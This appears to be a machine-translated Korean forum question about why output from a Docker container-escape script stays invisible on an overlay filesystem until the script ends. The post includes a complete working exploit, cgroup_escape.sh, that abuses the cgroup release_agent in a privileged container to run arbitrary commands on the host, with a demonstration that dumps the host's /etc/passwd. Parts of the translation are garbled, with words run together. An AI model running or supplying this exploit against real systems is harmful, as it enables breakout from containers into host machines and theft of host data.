덮어쓴 파일 시스템에서 쉘 스크립트를 실행하는 동안 변경된 파일은 쉘 스크립트가 종료될 때까지 표시되지 않습니까?

덮어쓴 파일 시스템에서 쉘 스크립트를 실행하는 동안 변경된 파일은 쉘 스크립트가 종료될 때까지 표시되지 않습니까?

나는 컨테이너에서 호스트로의 이스케이프에 어떻게 남용될 수 있는지 docker run ...와 같은 Docker의 옵션 중 일부를 실험해 왔습니다 .--privileged

다음 스크립트는 cgroup_escape.shYield가 컨테이너가 cgroup을 수정하고 cgroup 기능을 사용하여 호스트에서 명령을 실행할 수 있도록 허용한다는 사실을 남용합니다(참조:--privilegedcap_sys_adminrelease_agent용법).

이것질문내부에서 호출하면 cat /o스크립트가 존재하기 전에는 cgroup_escape.sh파일 크기가 0바이트(수정 결과 없음)였기 때문에 출력이 표시되지 않습니다. 스크립트가 존재하면 콘텐츠가 성공적으로 표시됩니다./osleep 10cat /o/o

Docker 컨테이너의 루트 파일 시스템 유형은 다음과 같습니다 overlay.

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O2KKX7BVYQPVTDYSEHBQGQFRHH:/var/lib/docker/overlay2/l/RGMSFCJWYRAJ3ZUF43IBFJ7UPZ,upperdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/diff,workdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/work)

/o쉘 스크립트가 실행될 때 파일 변경 사항을 적용하는 방법이 있습니까 ?

참고: 이 문제는 유형이 있는 파일 시스템으로 인해 발생합니까 overlay?

cgroup_escape.sh:

#!/usr/bin/env bash

d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o
echo $t/c > $d/release_agent
echo -e "#!/bin/sh\n$1 > $t/o" > /c
chmod +x /c
echo 0 > $d/w/cgroup.procs
sleep 1
cat /o

용법:

docker run --privileged -ti --rm --mount type=bind,src=$(pwd),dst=/host,readonly debian:latest

root@bfbd3ddb2f2b:/# /host/cgroup_escape.sh "cat /etc/passwd"
root@bfbd3ddb2f2b:/# cat /o
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

관련 정보